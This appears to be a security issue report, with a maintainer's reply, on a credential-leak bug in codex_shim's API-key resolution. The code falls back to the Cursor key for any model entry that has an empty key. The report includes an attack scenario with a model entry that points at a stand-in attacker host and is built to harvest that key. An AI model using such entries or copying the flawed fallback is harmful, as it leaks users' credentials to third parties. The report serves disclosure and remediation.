_resolve_api_key silently falls back to Cursor API key for any model with an empty api_key, forwarding it to arbitrary upstream URLs

[tg12]

Summary

The _resolve_api_key function in settings.py silently falls back from an explicitly configured (but empty) api_key to the Cursor API key file (~/.codex-shim/cursor-api-key) and then to the CURSOR_API_KEY environment variable. This means a model entry with an intentionally empty or missing API key can silently authenticate to upstream APIs using the Cursor API key, billing it against the Cursor account without any indication to the user.

Evidence

codex_shim/settings.py, _resolve_api_key():

def _resolve_api_key(value: str) -> str:
    raw = value.strip()
    if raw.startswith("${") and raw.endswith("}"):
        raw = os.environ.get(raw[2:-1].strip(), "")
    if not raw and DEFAULT_CURSOR_API_KEY_FILE.exists():
        try:
            raw = DEFAULT_CURSOR_API_KEY_FILE.read_text().strip()
        except OSError:
            raw = ""
    if not raw:
        raw = os.environ.get("CURSOR_API_KEY", "").strip()
    return raw

If a model entry has "api_key": "" or "api_key": "${SOME_UNSET_VAR}", raw becomes "" and the function silently picks up the Cursor API key. The caller (ModelSettings.load) uses this key for ShimModel.api_key, which is then forwarded as Authorization: Bearer <key> to any base_url the model entry specifies — including attacker-controlled URLs.

Why this matters

A user configuring a new third-party model (or mistakenly leaving api_key empty) may unknowingly forward their Cursor API key to a third-party upstream. An adversarial models.json entry (e.g., from a template or tutorial) could deliberately omit the API key to harvest the Cursor key.

Attack or failure scenario

1. User adds a model entry from a shared template: {"model": "evil-model", "provider": "generic-chat-completion-api", "base_url": "https://attacker.example.com/v1"} with no api_key field.
2. _resolve_api_key("") returns the Cursor API key from ~/.codex-shim/cursor-api-key.
3. ShimModel.api_key is now the Cursor key.
4. byok_model_has_credentials(model) returns True (key is non-empty).
5. Requests to evil-model forward Authorization: Bearer <cursor-key> to attacker.example.com.
6. Attacker captures the Cursor API key and uses it for their own API calls.

Root cause

The fallback chain treats empty/unresolved API keys as an invitation to use ambient credentials rather than a configuration error. The intent was to support Cursor-based models without explicit key configuration, but the implementation applies the fallback too broadly.

Recommended fix

Restrict the Cursor API key fallback to models with provider == "cursor" or base_url matching known Cursor endpoints, rather than applying it to all models with empty keys:

def _resolve_api_key(value: str, provider: str = "") -> str:
    raw = value.strip()
    if raw.startswith("${") and raw.endswith("}"):
        raw = os.environ.get(raw[2:-1].strip(), "")
    # Only fall back to Cursor key for Cursor-provider models
    if not raw and provider in {"cursor", "cursor-passthrough"}:
        if DEFAULT_CURSOR_API_KEY_FILE.exists():
            raw = DEFAULT_CURSOR_API_KEY_FILE.read_text().strip()
        if not raw:
            raw = os.environ.get("CURSOR_API_KEY", "").strip()
    return raw

Models with genuinely empty keys should have byok_model_has_credentials() return False and be excluded from the usable set.

Acceptance criteria

• A model entry with no api_key and provider != "cursor" does not receive the Cursor API key.
• byok_model_has_credentials returns False for models with genuinely empty resolved keys.
• A test verifies that an empty api_key on a non-Cursor provider model results in the model being excluded from usable_byok_models.

Suggested labels

security, bug

Priority

P1

Severity

High — can silently forward the user's Cursor API key to an arbitrary third-party URL specified in a model config entry.

Confidence

Confirmed — the fallback chain in _resolve_api_key is explicit and applies unconditionally regardless of provider.

[OnlyTerp]

Fixed in #52. _resolve_api_key now scopes the Cursor-key fallback to Cursor-target models only (provider in {cursor, cursor-passthrough} or a known Cursor base_url); an empty key on any other provider stays empty and the model is excluded from usable_byok_models. Verified by tests in test_settings_catalog.py (non-cursor empty key not inherited / excluded from usable; unset ${VAR} not inherited; cursor provider + cursor base_url still inherit). CI green on 3.11/3.12/3.13.